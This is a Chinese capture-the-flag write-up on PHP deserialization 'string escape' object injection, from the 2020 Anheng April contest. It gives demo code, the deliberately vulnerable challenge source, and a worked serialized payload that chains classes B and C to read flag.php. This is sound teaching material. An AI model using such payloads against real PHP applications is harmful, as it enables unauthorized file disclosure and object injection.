2020安恒4月月赛web1-字符串逃逸导致对象注入
首先看一个例子:
<?php
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));
运行之后会发现以下几点:
- 它能够正常反序列化
- 不存在的属性他也能反序列化
其实这个和PHP反序列化的特性有关:
- 反序列化时候以分号
;
作为字段的分隔符,以}
作为结束。这也就是解释了上面的序列化值为什么能够正常反序列化,因为}
作为了结束符。 - 类中不存在的属性亦能反序列化
我们再看一个例子:
<?php
function filter($string){
$a = str_replace('x','zz',$string);
return $a;
}
$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';
$password="aaaaa";
$user = array($username, $password);
echo serialize($user);
echo "\n";
$r = filter(serialize($user));
echo($r);
echo "\n";
var_dump(unserialize($r));
$user在序列化后会是:
a:2:{i:0;s:46:"tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
这里我们可以发现第二个元素被解析称为aaaa,而;i:1;s:6:"123456";
被当做字符串处理了。
a:2:{i:0;s:46:"tr1plezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}
可以观察到x被替换称为两个z,其长度正好是";i:1;s:6:"123456";}
的1倍,也就是四十。
但是为什么它会忽略";i:1;s:5:"aaaaa";}
呢?因为PHP在反序列化时候是不仅仅是根据}
来判定反序列化块的范围,还是根据总字符的长度,原来的长度是80我们在加上20个字符之后正好将后面的给覆盖掉了。于是他只反序列化了前面的部分。
我们再看一个例子,结果却刚好和上面的结果相反:
<?php
$r = 'a:2:{i:0;s:46:"tr1plezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz";i:1;s:6:"123456";}";i:1;s:5:"aaaaa";}';
$r = str_replace('zzzzzzz', chr(0).'*'.chr(0), $r);
echo $r;
var_dump(unserialize($r));
上面代码替换会减少一半导致:;i:1;s:6:"123456";}"
被吞掉导致最后结果如下:
题目
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
这道题和上面的道理一样,这里我们无需考虑类A
只需要考虑B和C。
我们生成一个序列化之后的结果:
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
我们看我们要吞掉的内容明显是;s:8:"password"
这一块,我们可以传入;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
拼接起来成这样:
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:72:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}"
但是这样是无法getflag的,因为我们传入的payload被"
包裹所以我们要添加一个双引号进行逃逸。
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:73:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}"
那么现在我们需要吞并掉的就是;s:8:"password";s:73:""
,但是这个长度实23没法整除2,我们需要添加一个字符加起来24.
O:1:"A":2:{s:8:"username";s:5:"admin";s:8:"password";s:73:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}"
所以我们最终会构成一个这样的序列化字符块:
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:74:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}";}
因为需要逃逸24个字符,所以需要48个长度的\0